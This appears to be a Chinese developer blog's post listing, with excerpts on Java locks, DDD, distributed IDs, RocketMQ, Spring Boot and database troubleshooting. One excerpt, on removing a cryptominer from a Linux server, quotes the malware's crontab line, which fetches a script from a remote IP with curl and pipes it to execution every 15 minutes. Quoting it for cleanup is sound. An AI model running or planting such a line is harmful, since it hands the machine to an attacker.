- 博客(60)
- 收藏
- 关注
原创 Java的Lock(二)
所以 自旋等待的时间必须要有一定的限制。自适应意味着自旋的时间(次数)不在固定,而是由前一次在同一个锁上的自旋时间及锁的拥有者的状态来决定。并且持有锁的线程正在进行中,那么虚拟机就会认为这次自旋也是有可能再次成功的,进而它将允许自旋等待持续相对更长的时间。在许多场景中,同步资源的锁定时间很短,为了这一段时间去切换线程,线程挂起和恢复现场的花费可能会让系统得不偿失。如果机器有多个CPU,能够让两个或以上的线程同时并行执行,就可以让后面那个请求锁的线程不放弃CPU的执行时间,看看持有锁的线程是否很快释放锁。
2024-02-20 11:13:11
324
原创 Java的Lock
Java本身提供了很多的锁。每种锁因其特性的不同。在不同的场景能展现出不同效率。Java中往往是按照是否含有某一种特性来定义锁。通过特性将锁分类,再使用对比的方式来看。
2024-02-19 14:47:02
834
原创 Clean Codo 如何写整洁的代码(一)
顾名思义 就是整洁的代码。或者说清晰、漂亮的代码。如果是写代码的不论前端 后端都希望能写出人模人样的代码。这个话题就和哈姆雷特一样 每个人看法不一。这里主要针对自己这几年来的经验来展开。
2024-02-01 15:29:32
471
原创 DDD领域驱动设计(六)
而在Vermon中 并未假定微服务架构风格,因此领域层暴露的出了领域服务外,还有聚合、实体和值对象等。此时的应用服务层是比较简单,获取来自接口层的请求参数,调度多个领域服务以实现界面层功能。即就是通过串联领域对象、资源库和防腐层等一系列领域内的对象行为,对其他上下文提供交互的接口。存储手段多样化,常见就是数据库,分布式缓存,localCache.资源库的作用,就是对领域的存储和访问进行统一管理对象。比起原来将资源管理放在服务中的做法,由资源库对资源进行管理,职责更加明确,代码的可读性和可维护性更高。
2024-01-08 20:01:05
692
原创 DDD领域驱动设计(五)
聚合根:一组相关对象的集合。作为一整体被外界访问。聚合根就是这个聚合的根节点聚合是一个非常重要的概念。核心领域往往都需要用聚合来表达。其次,聚合在技术上有较高的价值。可以指导详细设计。聚合由根实体。值对象和实体组成。聚合内部多个组成对象的关系可以用来指导数据库创建。但不可避免存在一定的抗阻。如果聚合中存在List,那么在数据库中建立1:N的关联需要将值对象单独建表,此时是有id的。建议不要把id暴露。领域服务:一些重要的领域行为 可以归类为领域服务。既不是实体也不是值对象范畴。
2024-01-02 10:49:27
930
原创 DDD领域驱动设计(四)
在不同上下文集成时,会出现模型概念的公用。在订单上下文中如果你只关注下单商品的信息快照,那么将商品对象看作值对象是个好的选择。这种对象称为实体(entity).最简单的 公安系统的身份录入。抽奖上下文通过防腐层对三个上下文进行隔离。梳理清楚上下文之间的关系后。首先看一下DDD中的定义。一个上下文可以明确自己对其他上下文的依赖。开放主机服务 定义一种协议来让其上下文来对本上下文进行访问。我们还需要进一步梳理上下文之间的关系。梳理清楚上下文之间的关系。1 任务的更好拆分,可以让单独的人去负责一块东西。
2023-12-22 16:59:38
393
原创 DDD领域驱动设计(三)
**我的实践经验是 考虑产品所讲的通用语言,从中提取一些术语称之为概念对象,寻找对象之间的联系。观察他们内在的联系。系统通过确定的限界上下文来进行解耦,而每一个上下文内部紧密组织,职责明确。限界上下文就是软件对于问题域的一个特定的、有限的解决方案。上文抽奖系统的大致需求:配置一个抽奖活动 -> 面向一个特定的用户 -> 针对特定的用户设置不同的奖品 -> 通过活动页面参与不同类型的抽奖活动。首先抽奖上下文作为整个领域的核心,承担用户抽奖的核心业务。奖品有自身的配置 概率 库存 最多被一个用户抽奖的次数。
2023-12-21 17:18:59
847
原创 DDD领域驱动设计(二)
以上三种活动在实际开发中是有先后顺序的。在我们解决常规套路问题时,我们很自然往分层架构套(先确定系统架构),或者用PHP开发(确定技术架构) 在业务不复杂的情况下 没啥毛病。我们创建一个微服务时,需要创建一个高内聚 低耦合的微服务。而DDD的限界上下文则完美匹配微服务的特点。就是DDD的上下界。一般有两种方式,技术维度和业务维度。跳过业务架构设计出来的架构关注点不在业务响应上。用原来的抽奖来做个简单的例子。用DDD重构完成一个中型的基于微服务架构的系统。微服务架构强调用业务维度来分治应对系统复杂度。
2023-12-20 18:06:13
414
原创 分布式ID系统设计(3)
第二集说了id-service-Segment-DB可以生成趋势递增的ID,但是ID号是可以计算的。不太适用于一些订单ID生成的场景。因为存在数据暴露的风险比如我可以对比两天的订单ID号来大致计算出公司一天的订单量。这个有点危险。所以我们需要id-serviceSnowFlake方案。id-service-snowFlake完全沿用snowFlake方案的bit位设计。即"1+41+10+12"的方式组装id。对于workid的分配 基本上可以用手动配置。
2023-11-02 15:06:18
1374
原创 分布式ID系统设计(2)
在取号段的时间是在号段消耗完之后进行。也就意味着号段临界点的ID下发时间取决于下一次从DB取回号段的时间,并且在这期间进来的请求也会因为DB号段没有取回来,导致线程阻塞。如果请求DB的网络和DB的性能稳定,这种情况对系统的影响是不大的,但是假如取DB的时候网络发生抖动,或者DB发生慢查询就会导致整个系统的响应时间变慢。为此,我们希望DB取号段的过程能够做到无阻塞,不需要在DB取号段的时候阻塞请求线程,即当号段消费到某个点时就异步的把下一个号段加载到内存中。而不需要等到号段用尽的时候才去更新号段。
2023-11-01 18:06:53
1330
原创 关于http rocketMQ的坑
用mac开发 然后监听了一个topic。当本地的代码关闭之后 rocketMQ 还是会往本地发送message。
2023-02-08 23:18:53
136
原创 SpringBoot Resp返回BigDecimal浏览器精度丢失
MappingJackson2HttpMessageConverter的类里面即可。这个时候需要统一一下格式。spring默认使用Jackson做序列化和反序列化。ObjectMapper 去配置SerializationFeature.WRITE_BIGDECIMAL_AS_PLAIN发现不能成功实现想要的。数据库存100.00的时候 前端显示会变成100。数据库存100.01的时候 前端显示100.01。实现一个序列化机 然后注入 给他丢到继承了。
2023-01-12 20:57:34
1001
原创 阿里云rocketMQ SDK在openJDK的问题
serviceException抛出来的时候无法解析的Exception。(然后看无法解析的内容 其实就是消息不存在)。正常来说按照代码逻辑消息不存在应该抛出的是null。如果按照官方的demo去实现http版的customer的时候。在openjdk11的情况下 会抛出一系列的interError。使用IDEA debug的时候发现。他内部有一个static map 他会在第一次没找到的时候去加载。但是一直就是没找到。就是下面的initJAXBContext 方法。具体的需要自己的DEBUG才会有感觉。
2022-10-24 21:18:53
577
原创 如何写SpringBootStarter 通过一个例子让你掌握starter
Starter是Spring Boot中的一个非常重要的概念,Starter相当于模块,它能将模块所需的依赖整合起来并对模块内的Bean根据环境( 条件)进行自动配置。例如,在Maven的依赖中加入spring-boot-starter-web就能使项目支持Spring MVC,并且Spring Boot还为我们做了很多默认配置,无需再依赖spring-web、spring-webmvc等相关包及做相关配置就能够立即使用起来。idea创建项目 -> 这个就没什么好写的 就和普通的工程的一样。
2022-10-20 20:32:18
636
原创 一次应用'自动修复'的故障(mysql原因)
杭州的梅雨天,导致人不给力,可能系统也会出点问题...(我是DBA这个时候还在去公司的路上,下面的均为程序猿口述)我司某个程序猿,早上的时候较为勤奋,来的比较早。这个时候,监控系统发出了很多报警信息,rabbitmq堵塞严重,积压了大量消息。他上堡垒机连接上应用服务器,tail 了error日志发现,业务系统没有任何问题。然后统计下消息队列里面的信息。业务客户反映来看,只有信用卡的消费有影...
2019-06-25 09:30:45
441
原创 mysql中类似Oracle的to_date
ORACLE:select to_date('20190808123456','YYYY-MM-DD HH24:MI:SS') from dual;TO_DATE('2019080812-------------------2019-08-08 12:34:56MYSQL:select str_to_date('20190808123456','%Y%m%d %H%i%s') ...
2019-06-17 15:42:53
485
原创 Oracle 所在服务器负载过高
过节的时候 运维打电话说zabbix监控不到一台核心Oracle了我这边上线去查问题环境 CentOS Linux release 7.2.1511 (Core) ORACLE 11.2.0.4这个是运维发过来的TOP 从上面看包括数据库内部看 并没有很大的压力(基本没有event)CPU基本处于id状态 wa占了10几 感觉是这个有问题crontab 上面这个时间是...
2019-06-10 09:19:16
685
原创 mysql update没有加where
sql里面没有加where 导致更新了所有数据(美团还是大众点评开源了一个binlog2sql的工具就是为了这个场景 原理还是binlog里面挖数据) 吐槽下 mysql确实没有O强大需要借助开源力量,可能这也是mysql比O强的一个方面mysql是8.0版本binlog_format | ROW |如果是statement形式的就不...
2019-06-05 11:24:30
2504
原创 mysql误删除innodb数据文件和logfile
测试环境被开发删除掉了 innodb.ibdata 文件和ib_logfile思路还是和Oracle一样借助于linux句柄来恢复数据(不能关闭MySQLd和系统)把前端应用全部锁掉在数据库层设置read_only 或者flush table with read lock 或者直接kill 掉应用先用netstat -ntlp |grep mysqld查出对应的进程号...
2019-06-05 10:55:02
224
原创 python 移动文件
由于业务程序的原因 会在系统的目录下面有很多的小文件小文件1K 一个 一个文件夹有好几万个 甚至几十万个文件人为手工去动太麻烦按照领导要求不能删 只能移动系统:windows2008可以手动更改多少天之前的移动,下面调用函数 可以手动更改原地址和目标地址,会在你的目标地址创建和原来一样的目录结构 会在磁盘分区后面加上时间源码:https://github.com/cc...
2019-05-14 15:09:27
858
原创 mysql discard
mysql 表迁移可以用 mysqldump,mysqlpump这类逻辑导出 类似Oracle的exp/expdp上次碰到个问题 老的mysql的拉出来 所有frm 和ibd 文件 只有innodb的表恢复使用create,discard,import 方式恢复大概操作就是新库creatediscard掉然后import进去亲测可用...
2019-05-13 09:42:02
1428
原创 linux被病毒感染 CPU使用很高
被当矿机。。挖矿这个机器运行着k8s master 跑着几十个应用和DB 不能重装crontab -e 查到dd掉这段 删除后续处理:删除/var/spool/cron/crontab/root,/var/spool/cron/root文件中echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | ...
2019-04-18 16:52:23
1412
原创 迁移mysql 1.27T
朋友让我去迁移下他们的DB 数据量原库大概1.27T然后这个人给我挖了个坑 使用了mysqlpump 导出了所有的数据。。。。(这里不得不吐槽下 超过100G的数据建议用xtrabackup 去做) =======》 800G的sql文件这里还得吐槽 不建议用win系列跑DB这里导入到1.6G 的时候抛错 mysql server has gone aw...
2019-04-18 09:53:29
165
原创 Oracle下dc_tablespace_quotas问题
这个问题 导致insert慢正常是毫秒 慢的时候1-2分钟insert 某张表的问题,正常时段是毫秒,问题时段是1-2分钟才成功。查event的时候是row cache lock等待事件这个等待事件,伴随着lath:row cache objects查select INSTANCE_NUMBER,p1,count(*) cnt from dba_hist_active...
2019-04-17 10:31:11
336
原创 mysql 性能问题
偶然发现mysql的这个问题[Note] InnoDB: page_cleaner: 1000ms intended loop took % 上面跑的是mysql5.7 应用就是个zabbix buffpool_size 35G 总32核心和64G 这个问题基本的出现 应该就是你的innodb 的IO 能力存在问题 (这边是机械盘 考虑换ssd)根据slow-log...
2019-02-18 11:22:53
494
原创 linux下cpu高负载案例
由于过去时间挺久得了 那个时候的记录都找不到了 大概看下解决思路 公司前端反应 操作慢、卡顿 一开始猜测网络问题 (走的内部VPN 可能会导致这个问题)切换网络之后还是有问题 这时候登录数据库服务器感觉卡顿 一查top 发现根本不正常 平时基本只有个位数的负载 这次一看有70+(32cpus 64Gmem) 业务高峰是一个问题 推断应该就是数据库出现了问题进入数据库 查等...
2019-01-31 15:47:03
244
原创 ora 600 (2662)
做了rman恢复的时候碰到了 ora 600 ORA-600 [2662] [a] [b] {c} [d] [e]ora 600 2662 的意思大概就是 数据库的某一个块的SCN点 比数据库的整体SCN提前采取的方式大概就是 10015 和bbed 的方式 只有10G才有bbed 的包 11G 本身不带 如果要用可以去10G 上面拷贝一份我这里使用了 10015 数...
2019-01-18 16:15:38
292
原创 关于mysql做完大transaction
环境:mysql 5.7 linux 7 256内存 32核 前景交代 做了一个select 大约5亿条记录 之后做了delete all 删除到一半的时候发现不对 取消掉 rollback 按照道理 安静等待mysql 的回滚就能恢复数据 从28号开始回滚到29号 都没结束这个事物感觉不太对 然后进mysql.information_schema.INNODB...
2019-01-02 10:13:25
219
原创 从0开始 docker+k8s集群 (second day)
关闭swap 如果开启了swap k8s启动会失效swapoff -a关闭防火墙和SElinuxcat kubernetes.confnet.bridge.bridge-nf-call-iptables=1net.bridge.bridge-nf-call-ip6tables=1net.ipv4.ip_forward=1net.ipv4.tcp_tw_recycle=0vm...
2018-12-19 17:40:58
212
原创 从0开始 docker+k8s集群 (first day)
first day :准备三台机器 修改掉主机名kube-node1 类推添加 k8s 用户 组和docker 用户 组 把k8s 添加到docker组里面去 useradd -m k8s sh -c 'echo 123456 |passwd k8s --stdin'visudo #修改/etc/sudoers docker 有些命令需要root 权限...
2018-12-17 19:41:44
494
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人